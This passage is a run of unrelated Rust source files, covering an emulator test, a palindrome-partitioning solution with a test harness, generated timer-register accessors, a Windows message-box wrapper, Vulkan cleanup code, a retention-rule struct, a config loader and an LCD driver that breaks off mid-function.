.with_read_write_increment_quirk(ReadWriteIncrementQuirk::IncrementIndex); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0x01); assert_eq!(chip8.v[0x1], 0x02); } }
/* 132. Palindrome Partitioning II Hard Given a string s, partition s such that every substring of the partition is a palindrome. Return the minimum cuts needed for a palindrome partitioning of s. Example 1: Input: s = "aab" Output: 1 Explanation: The palindrome partitioning ["aa","b"] could be produced using 1 cut. Example 2: Input: s = "a" Output: 0 Example 3: Input: s = "ab" Output: 1 Constraints: 1 <= s.length <= 2000 s consists of lower-case English letters only. */ extern crate json; //use std::collections::HashSet; //use std::mem; use algo_tools::load_json_tests; struct Solution; /*struct _Solution0; #[derive(Debug)] struct Node { idx: usize, neighbors_fwd: HashSet<usize>, neighbors_bwd: HashSet<usize>, } impl Node { pub fn new(idx: usize) -> Node { Node { idx, neighbors_fwd : HashSet::new(), neighbors_bwd : HashSet::new() } } } impl _Solution0 { fn _min_cut_rec(all_pals : &[Vec<&str>], slen : usize) -> i32 { let (mut longest_idxes, mut llen) = (Vec::new(), 0); for (idx, pals) in all_pals.iter().enumerate() { for pal in pals.iter() { if idx + pal.len() < slen { if pal.len() > llen { llen = pal.len(); longest_idxes.clear(); longest_idxes.push(idx); } else if pal.len() == llen { longest_idxes.push(idx); } } else if pal.len() == slen { return 0; } } } println!("all_palindromes {:?}: longests {:?}/{}", all_pals, longest_idxes, llen); let mut res : i32 = llen as i32 + 1; for longest_idx in longest_idxes.iter() { let mut tmp : i32 = 0; if *longest_idx > 0 { tmp += 1 + Self::_min_cut_rec(&all_pals[..*longest_idx], *longest_idx); } if longest_idx + llen < slen { tmp += 1 + Self::_min_cut_rec(&all_pals[*longest_idx+llen..], slen - *longest_idx - llen); } if res > tmp { res = tmp; } } res } fn _find_all_palindromes(s: &String) -> i32 { // searches the string for all palindromes let mut all_pals : Vec<Vec<&str>> = Vec::new(); for _ in 0..s.len() { all_pals.push(Vec::new()); } all_pals[0].push(&s[0..1]); let bytes = s.as_bytes(); for index in 1..s.len() { all_pals[index].push(&s[index..index+1]); let mut off : usize = 0; let (mut check_odd, mut check_even) = (true, true); while index > off && index + off < s.len() && (check_odd || check_even) { let l = index - off - 1; let r = index + off + 1; if check_odd && r < s.len() { if bytes[l] == bytes[r] { all_pals[l].push(&s[l..r+1]); } else { check_odd = false; } } if check_even { if bytes[l] == bytes[r-1] { all_pals[l].push(&s[l..r]); } else { check_even = false; } } off += 1 } } //println!("all_palindromes {:?}\n\n", all_pals); Self::_min_cut_rec(&all_pals, s.len()) } pub fn _min_cut(s: String) -> i32 { Self::_find_all_palindromes(&s) } } */ impl Solution { /*pub fn _min_cut(s: String) -> i32 { // searches the string for all palindromes and build the graph from them // A palindrome being an arc between two nodes (each node being a letter) let mut nodes: Vec<Node> = (0..s.len()+1) .map(| idx | { let node = Node::new(idx); node }).collect(); //println!("Initial graph {:?}", nodes); let bytes = s.as_bytes(); for index in 0..bytes.len() { nodes[index].neighbors_fwd.insert(index+1); nodes[index+1].neighbors_bwd.insert(index); let mut off : usize = 0; let (mut check_odd, mut check_even) = (true, true); while index > off && index + off < s.len() && (check_odd || check_even) { let l = index - off - 1; let r = index + off + 1; if check_odd && r < s.len() { if bytes[l] == bytes[r] { nodes[l].neighbors_fwd.insert(r+1); nodes[r+1].neighbors_bwd.insert(l); } else { check_odd = false; } } if check_even { if bytes[l] == bytes[r-1] { nodes[l].neighbors_fwd.insert(r); nodes[r].neighbors_bwd.insert(l); } else { check_even = false; } } off += 1 } } //println!("Final graph for {}: {:?}", s, nodes); if nodes[0].neighbors_fwd.contains(&bytes.len()) { return 0; } let mut to_visit_curdir : HashSet<usize> = nodes[0].neighbors_fwd.clone(); let mut to_visit_otherdir : HashSet<usize> = nodes[bytes.len()].neighbors_bwd.clone(); let mut to_visit_next : HashSet<usize> = HashSet::new(); let mut cuts = 1; let mut pick_fwd : bool = true; while to_visit_curdir.is_disjoint(&to_visit_otherdir) { if to_visit_curdir.len() > to_visit_otherdir.len() { //println!("swapping to_visit_curdir and to_visit_otherdir"); mem::swap(&mut to_visit_curdir, &mut to_visit_otherdir); pick_fwd = !pick_fwd; } //println!("to_visit_curdir {:?}, to_visit_otherdir {:?}", to_visit_curdir, to_visit_otherdir); for neighbor_idx in to_visit_curdir.iter() { if pick_fwd { to_visit_next.extend(&nodes[*neighbor_idx].neighbors_fwd); } else { to_visit_next.extend(&nodes[*neighbor_idx].neighbors_bwd); } } to_visit_curdir.clear(); mem::swap(&mut to_visit_curdir, &mut to_visit_next); cuts += 1; } cuts }*/ pub fn min_cut(s: String) -> i32 { if s.len() < 2 { return 0; } let bytes = s.as_bytes(); let slen = s.len(); let mut min_cuts : Vec<usize> = (0..slen+1).map(|i| i).collect(); for index in 1..slen { let mut off : usize = 0; let (mut check_odd, mut check_even) = (true, true); while index > off && index + off < slen && (check_odd || check_even) { let l = index - off - 1; let r = index + off + 1; if check_odd && r < slen { if bytes[l] == bytes[r] { if r - l + 1 == slen { return 0; } min_cuts[r+1] = min_cuts[r+1].min(min_cuts[l]+1); } else { check_odd = false; } } if check_even { if bytes[l] == bytes[r-1] { if r - l == slen { return 0; } min_cuts[r] = min_cuts[r].min(min_cuts[l]+1); } else { check_even = false; } } off += 1 } } println!("min_cuts: {:?}", min_cuts); min_cuts[bytes.len()] as i32 } } fn run_test_case(test_case: &json::JsonValue) -> i32 { let s = &test_case["in"]; let expected = test_case["expected"].as_i32().unwrap(); let result = Solution::min_cut(s.to_string()); /*for _ in 0..100 { Solution::min_cut(s.to_string()); }*/ if result == expected { return 0; } println!("min_cut({:}) returned {:?} but expected {:?}\n", s, result, expected); 1 } fn main() { let (tests, test_idx) = load_json_tests(); let (mut successes, mut failures) = (0, 0); if test_idx >= tests.len() as i32 { println!("Wrong index {}, only {} tests available!!", test_idx, tests.len()); return } if test_idx != -1 { let rc = run_test_case(&tests[test_idx as usize]); if rc == 0 { successes += 1; } else { failures += 1; } } else { println!("{} tests specified", tests.len()); for i in 0..tests.len() { let rc = run_test_case(&tests[i]); if rc == 0 { successes += 1; } else { failures += 1; } } } if failures > 0 { println!("{} tests succeeded and {} tests failed!!", successes, failures); } else { println!("All {} tests succeeded!!", successes); } }
#[doc = r"Value read from the register"] pub struct R { bits: u32, } #[doc = r"Value to write to the register"] pub struct W { bits: u32, } impl super::RIS { #[doc = r"Modifies the contents of the register"] #[inline(always)] pub fn modify<F>(&self, f: F) where for<'w> F: FnOnce(&R, &'w mut W) -> &'w mut W, { let bits = self.register.get(); self.register.set(f(&R { bits }, &mut W { bits }).bits); } #[doc = r"Reads the contents of the register"] #[inline(always)] pub fn read(&self) -> R { R { bits: self.register.get(), } } #[doc = r"Writes to the register"] #[inline(always)] pub fn write<F>(&self, f: F) where F: FnOnce(&mut W) -> &mut W, { self.register.set( f(&mut W { bits: Self::reset_value(), }) .bits, ); } #[doc = r"Reset value of the register"] #[inline(always)] pub const fn reset_value() -> u32 { 0 } #[doc = r"Writes the reset value to the register"] #[inline(always)] pub fn reset(&self) { self.register.set(Self::reset_value()) } } #[doc = r"Value of the field"] pub struct TIMER_RIS_TATORISR { bits: bool, } impl TIMER_RIS_TATORISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_TATORISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_TATORISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 0); self.w.bits |= ((value as u32) & 1) << 0; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_CAMRISR { bits: bool, } impl TIMER_RIS_CAMRISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_CAMRISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_CAMRISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 1); self.w.bits |= ((value as u32) & 1) << 1; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_CAERISR { bits: bool, } impl TIMER_RIS_CAERISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_CAERISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_CAERISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 2); self.w.bits |= ((value as u32) & 1) << 2; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_RTCRISR { bits: bool, } impl TIMER_RIS_RTCRISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_RTCRISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_RTCRISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 3); self.w.bits |= ((value as u32) & 1) << 3; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_TAMRISR { bits: bool, } impl TIMER_RIS_TAMRISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_TAMRISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_TAMRISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 4); self.w.bits |= ((value as u32) & 1) << 4; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_DMAARISR { bits: bool, } impl TIMER_RIS_DMAARISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_DMAARISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_DMAARISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 5); self.w.bits |= ((value as u32) & 1) << 5; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_TBTORISR { bits: bool, } impl TIMER_RIS_TBTORISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_TBTORISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_TBTORISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 8); self.w.bits |= ((value as u32) & 1) << 8; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_CBMRISR { bits: bool, } impl TIMER_RIS_CBMRISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_CBMRISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_CBMRISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 9); self.w.bits |= ((value as u32) & 1) << 9; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_CBERISR { bits: bool, } impl TIMER_RIS_CBERISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_CBERISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_CBERISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 10); self.w.bits |= ((value as u32) & 1) << 10; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_TBMRISR { bits: bool, } impl TIMER_RIS_TBMRISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_TBMRISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_TBMRISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 11); self.w.bits |= ((value as u32) & 1) << 11; self.w } } #[doc = r"Value of the field"] pub struct TIMER_RIS_DMABRISR { bits: bool, } impl TIMER_RIS_DMABRISR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _TIMER_RIS_DMABRISW<'a> { w: &'a mut W, } impl<'a> _TIMER_RIS_DMABRISW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 13); self.w.bits |= ((value as u32) & 1) << 13; self.w } } impl R { #[doc = r"Value of the register as raw bits"] #[inline(always)] pub fn bits(&self) -> u32 { self.bits } #[doc = "Bit 0 - GPTM Timer A Time-Out Raw Interrupt"] #[inline(always)] pub fn timer_ris_tatoris(&self) -> TIMER_RIS_TATORISR { let bits = ((self.bits >> 0) & 1) != 0; TIMER_RIS_TATORISR { bits } } #[doc = "Bit 1 - GPTM Timer A Capture Mode Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_camris(&self) -> TIMER_RIS_CAMRISR { let bits = ((self.bits >> 1) & 1) != 0; TIMER_RIS_CAMRISR { bits } } #[doc = "Bit 2 - GPTM Timer A Capture Mode Event Raw Interrupt"] #[inline(always)] pub fn timer_ris_caeris(&self) -> TIMER_RIS_CAERISR { let bits = ((self.bits >> 2) & 1) != 0; TIMER_RIS_CAERISR { bits } } #[doc = "Bit 3 - GPTM RTC Raw Interrupt"] #[inline(always)] pub fn timer_ris_rtcris(&self) -> TIMER_RIS_RTCRISR { let bits = ((self.bits >> 3) & 1) != 0; TIMER_RIS_RTCRISR { bits } } #[doc = "Bit 4 - GPTM Timer A Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_tamris(&self) -> TIMER_RIS_TAMRISR { let bits = ((self.bits >> 4) & 1) != 0; TIMER_RIS_TAMRISR { bits } } #[doc = "Bit 5 - GPTM Timer A DMA Done Raw Interrupt Status"] #[inline(always)] pub fn timer_ris_dmaaris(&self) -> TIMER_RIS_DMAARISR { let bits = ((self.bits >> 5) & 1) != 0; TIMER_RIS_DMAARISR { bits } } #[doc = "Bit 8 - GPTM Timer B Time-Out Raw Interrupt"] #[inline(always)] pub fn timer_ris_tbtoris(&self) -> TIMER_RIS_TBTORISR { let bits = ((self.bits >> 8) & 1) != 0; TIMER_RIS_TBTORISR { bits } } #[doc = "Bit 9 - GPTM Timer B Capture Mode Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_cbmris(&self) -> TIMER_RIS_CBMRISR { let bits = ((self.bits >> 9) & 1) != 0; TIMER_RIS_CBMRISR { bits } } #[doc = "Bit 10 - GPTM Timer B Capture Mode Event Raw Interrupt"] #[inline(always)] pub fn timer_ris_cberis(&self) -> TIMER_RIS_CBERISR { let bits = ((self.bits >> 10) & 1) != 0; TIMER_RIS_CBERISR { bits } } #[doc = "Bit 11 - GPTM Timer B Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_tbmris(&self) -> TIMER_RIS_TBMRISR { let bits = ((self.bits >> 11) & 1) != 0; TIMER_RIS_TBMRISR { bits } } #[doc = "Bit 13 - GPTM Timer B DMA Done Raw Interrupt Status"] #[inline(always)] pub fn timer_ris_dmabris(&self) -> TIMER_RIS_DMABRISR { let bits = ((self.bits >> 13) & 1) != 0; TIMER_RIS_DMABRISR { bits } } } impl W { #[doc = r"Writes raw bits to the register"] #[inline(always)] pub unsafe fn bits(&mut self, bits: u32) -> &mut Self { self.bits = bits; self } #[doc = "Bit 0 - GPTM Timer A Time-Out Raw Interrupt"] #[inline(always)] pub fn timer_ris_tatoris(&mut self) -> _TIMER_RIS_TATORISW { _TIMER_RIS_TATORISW { w: self } } #[doc = "Bit 1 - GPTM Timer A Capture Mode Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_camris(&mut self) -> _TIMER_RIS_CAMRISW { _TIMER_RIS_CAMRISW { w: self } } #[doc = "Bit 2 - GPTM Timer A Capture Mode Event Raw Interrupt"] #[inline(always)] pub fn timer_ris_caeris(&mut self) -> _TIMER_RIS_CAERISW { _TIMER_RIS_CAERISW { w: self } } #[doc = "Bit 3 - GPTM RTC Raw Interrupt"] #[inline(always)] pub fn timer_ris_rtcris(&mut self) -> _TIMER_RIS_RTCRISW { _TIMER_RIS_RTCRISW { w: self } } #[doc = "Bit 4 - GPTM Timer A Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_tamris(&mut self) -> _TIMER_RIS_TAMRISW { _TIMER_RIS_TAMRISW { w: self } } #[doc = "Bit 5 - GPTM Timer A DMA Done Raw Interrupt Status"] #[inline(always)] pub fn timer_ris_dmaaris(&mut self) -> _TIMER_RIS_DMAARISW { _TIMER_RIS_DMAARISW { w: self } } #[doc = "Bit 8 - GPTM Timer B Time-Out Raw Interrupt"] #[inline(always)] pub fn timer_ris_tbtoris(&mut self) -> _TIMER_RIS_TBTORISW { _TIMER_RIS_TBTORISW { w: self } } #[doc = "Bit 9 - GPTM Timer B Capture Mode Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_cbmris(&mut self) -> _TIMER_RIS_CBMRISW { _TIMER_RIS_CBMRISW { w: self } } #[doc = "Bit 10 - GPTM Timer B Capture Mode Event Raw Interrupt"] #[inline(always)] pub fn timer_ris_cberis(&mut self) -> _TIMER_RIS_CBERISW { _TIMER_RIS_CBERISW { w: self } } #[doc = "Bit 11 - GPTM Timer B Match Raw Interrupt"] #[inline(always)] pub fn timer_ris_tbmris(&mut self) -> _TIMER_RIS_TBMRISW { _TIMER_RIS_TBMRISW { w: self } } #[doc = "Bit 13 - GPTM Timer B DMA Done Raw Interrupt Status"] #[inline(always)] pub fn timer_ris_dmabris(&mut self) -> _TIMER_RIS_DMABRISW { _TIMER_RIS_DMABRISW { w: self } } }
use super::thread_future::ThreadFuture; use crate::dialog::{MessageButtons, MessageDialog, MessageLevel}; use winapi::um::winuser::{ MessageBoxW, IDOK, IDYES, MB_ICONERROR, MB_ICONINFORMATION, MB_ICONWARNING, MB_OK, MB_OKCANCEL, MB_YESNO, }; use std::{ffi::OsStr, iter::once, os::windows::ffi::OsStrExt, ptr}; pub struct WinMessageDialog { text: Vec<u16>, caption: Vec<u16>, flags: u32, } impl WinMessageDialog { pub fn new(opt: MessageDialog) -> Self { let input = format!("{}\n{}", opt.title, opt.description); let text: Vec<u16> = OsStr::new(&input).encode_wide().chain(once(0)).collect(); let caption: Vec<u16> = OsStr::new(&opt.title) .encode_wide() .chain(once(0)) .collect(); let level = match opt.level { MessageLevel::Info => MB_ICONINFORMATION, MessageLevel::Warning => MB_ICONWARNING, MessageLevel::Error => MB_ICONERROR, }; let buttons = match opt.buttons { MessageButtons::Ok => MB_OK, MessageButtons::OkCancle => MB_OKCANCEL, MessageButtons::YesNo => MB_YESNO, }; Self { text, caption, flags: level | buttons, } } pub fn run(self) -> bool { let ret = unsafe { MessageBoxW( ptr::null_mut(), self.text.as_ptr(), self.caption.as_ptr(), self.flags, ) }; ret == IDOK || ret == IDYES } pub fn run_async(self) -> ThreadFuture<bool> { ThreadFuture::new(move |data| *data = Some(self.run())) } } use crate::backend::MessageDialogImpl; impl MessageDialogImpl for MessageDialog { fn show(self) -> bool { let dialog = WinMessageDialog::new(self); dialog.run() } } use crate::backend::AsyncMessageDialogImpl; use crate::backend::DialogFutureType; impl AsyncMessageDialogImpl for MessageDialog { fn show_async(self) -> DialogFutureType<bool> { let dialog = WinMessageDialog::new(self); Box::pin(dialog.run_async()) } }
use std::ops::Deref; use ash::vk; pub struct RawVkDebugUtils { pub debug_utils_loader: ash::extensions::ext::DebugUtils, pub debug_messenger: vk::DebugUtilsMessengerEXT, } impl Drop for RawVkDebugUtils { fn drop(&mut self) { unsafe { self.debug_utils_loader .destroy_debug_utils_messenger(self.debug_messenger, None); } } } pub struct RawVkInstance { pub debug_utils: Option<RawVkDebugUtils>, pub instance: ash::Instance, pub entry: ash::Entry, } impl Deref for RawVkInstance { type Target = ash::Instance; fn deref(&self) -> &Self::Target { &self.instance } } impl Drop for RawVkInstance { fn drop(&mut self) { unsafe { std::mem::drop(std::mem::replace(&mut self.debug_utils, None)); self.instance.destroy_instance(None); } } }
//! Retention Rules use serde::{Deserialize, Serialize}; /// RetentionRule #[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "camelCase")] pub struct RetentionRule { /// Expiry #[serde(rename = "type")] pub r#type: Type, /// Duration in seconds for how long data will be kept in the database. 0 /// means infinite. pub every_seconds: i32, /// Shard duration measured in seconds. #[serde(skip_serializing_if = "Option::is_none")] pub shard_group_duration_seconds: Option<i64>, } impl RetentionRule { /// Returns instance of RetentionRule pub fn new(r#type: Type, every_seconds: i32) -> Self { Self { r#type, every_seconds, shard_group_duration_seconds: None, } } } /// Set Retention Rule expired or not #[derive(Clone, Copy, Debug, Eq, PartialEq, Ord, PartialOrd, Hash, Serialize, Deserialize)] #[serde(rename_all = "camelCase")] pub enum Type { /// RetentionRule Expired Expire, }
//! Attribute values. //! //! Type Attr represents an attribute of a Layer. extern crate libc; use super::token::Token; use super::range::Range; use super::variant::{Value, Variant}; /// An attribute object. #[repr(C)] pub struct Attr { id: Token, typ: Token, val: Variant, range: (u32, u32), } impl<T> Value<T> for Attr where Variant: Value<T>, { fn get(&self) -> T { Value::get(self.value()) } fn set(&mut self, val: &T) { Value::set(self.value_mut(), val) } } pub trait ResultValue<T> { fn set_with_range(&mut self, val: &(T, Range)); } impl<T> ResultValue<T> for Attr where Variant: Value<T>, { fn set_with_range(&mut self, val: &(T, Range)) { Value::set(self.value_mut(), &val.0); self.set_range(&val.1) } } impl Attr { /// Returns the ID of `self`. pub fn id(&self) -> Token { self.id } /// Returns the range of `self`. pub fn range(&self) -> Range { Range { start: self.range.0, end: self.range.1, } } /// Sets the range of `self`. pub fn set_range(&mut self, range: &Range) { self.range = (range.start, range.end) } /// Returns the type of `self`. pub fn typ(&self) -> Token { self.typ } /// Sets the type of `self`. pub fn set_typ(&mut self, id: Token) { self.typ = id } /// Returns a reference to the value of `self`. pub fn value(&self) -> &Variant { &self.val } /// Returns a mutable reference to the value of `self`. pub fn value_mut(&mut self) -> &mut Variant { &mut self.val } }
use config::{Config, File}; use std::path::PathBuf; pub fn load_config(file: Option<&PathBuf>) -> Config { let mut s = Config::new(); s.merge(File::with_name(file.unwrap_or(&PathBuf::from("config/session")).to_str().unwrap())).unwrap(); s }
//============================================================================== // Notes //============================================================================== // drivers::lcd.rs //============================================================================== // Crates and Mods //============================================================================== use super::{images, lcd, st7789}; //============================================================================== // Enums, Structs, and Types //============================================================================== #[allow(dead_code)] pub enum BacklightBrightness { Brightness0 = 0, Brightness1 = 1, Brightness2 = 2, Brightness3 = 3, Brightness4 = 4, Brightness5 = 5, Brightness6 = 6, Brightness7 = 7 } #[allow(dead_code)] #[derive(Clone, Copy)] pub enum Color { // 5-6-5 R, G, B Black = 0x0000, // 0, 0, 0 Red = 0x00F8, // 1F, 00, 00 Orange = 0xE0FB, // 1F, 1F, 00 Yellow = 0xE0FF, // 1F, 3F, 00 Green = 0xE007, // 00, 3F, 00 Cyan = 0xFF07, // 00, 3F, 1F Blue = 0x1F00, // 00, 00, 1F Magenta = 0x1FF8, // 1F, 00, 1F White = 0xFFFF, // 1F, 3F, 1F GrayDark = 0x0842, // 08, 10, 08 Gray = 0xEF7B, // 0F, 1F, 0F GrayLight = 0x18C6, // 18, 30, 18 Navy = 0xEF00, Rust = 0xE078, } //============================================================================== // Variables //============================================================================== //============================================================================== // Public Functions //============================================================================== pub fn init() { lcd::init(); fill_background(Color::Black); lcd::set_backlight(BacklightBrightness::Brightness7 as u8); } pub fn get_busy() -> bool { // For now, not using DMA, this library will never be busy false } #[allow(dead_code)] pub fn fill_background(color: Color) { fill_rectangle(0, 240, 0, 240, color); } pub fn fill_rectangle(x: u16, width: u16, y: u16, height: u16, color: Color) { set_window(x, width, y, height); lcd::write_command(st7789::COMMAND::MEMORY_WRITE); lcd::write_block_solid(color as u16, (width*height) as u32); } #[allow(dead_code)] pub fn set_backlight(target_brightness: BacklightBrightness) { // TODO: have this fade? lcd::set_backlight(target_brightness as u8); } pub fn set_window(x: u16, width: u16, y: u16, height: u16) { let x_end = x + width - 1; let y_end = y + height - 1; // TODO: Check that this endian conversion is correct let x = x.to_le_bytes(); let x_end = x_end.to_le_bytes(); let y = 